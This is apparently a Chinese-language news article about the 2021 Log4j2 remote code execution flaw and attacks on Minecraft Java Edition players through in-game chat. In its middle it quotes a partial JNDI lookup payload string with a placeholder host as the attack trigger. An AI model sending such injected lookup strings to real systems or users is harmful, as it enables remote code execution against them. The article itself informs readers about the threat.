元宇宙概念遊戲"我的世界"遭到由log4j2存在漏洞引起的網路攻擊

12月9日晚,根據360安全衛士服務號披露,開源專案Apache Log4j2存在的一個遠端程式碼執行漏洞,其中細節被公開,很多駭客伺機開始攻擊各種商業專案。

元宇宙概念遊戲"我的世界"遭到由log4j2存在漏洞引起的網路攻擊

log4j

由於log4j 是java生態中非常非常基礎的一個日誌庫,可以說是到“水電煤”級別的庫

。JAVA的很多元件都會依賴、使用這個庫進行日誌

寫入。

元宇宙概念遊戲"我的世界"遭到由log4j2存在漏洞引起的網路攻擊

目前 Apache Solr、Apache Struts2、Apache Druid、Apache Flink 等眾多元件及大型應用均已經受到了影響,需儘快採取方案阻止。

我的世界JAVA版攻擊

特別是

我的世界JAVA

版本中,攻擊方法超級簡單,在遊戲的線上聊天中,傳送一條帶漏洞觸發指令的訊息,類似“

${jndi:ldap://{}。

http://xxxxxxxxxxxxxx

}

”,就可以對收到這條訊息的使用者發起攻擊。

元宇宙概念遊戲"我的世界"遭到由log4j2存在漏洞引起的網路攻擊

截止目前,根據360觀測到的資料,“我的世界”數十萬使用者被入侵。因觸發簡單、攻擊難度低、而首當其衝。

老斜說

log4j這個庫不是大企業開發的,而且是免費開源,它後續的維護和升級都是一群為愛發電的開發者在那裡維護升級的。

元宇宙概念遊戲"我的世界"遭到由log4j2存在漏洞引起的網路攻擊

所以講真的,這群開發者也沒有法律義務去修復好這個漏洞。這事也給普通開發者敲一下警鐘,免費開源是很香,但是一定要做好隔離和熔斷。不然後果太嚴重了。

舉報/反饋

頂部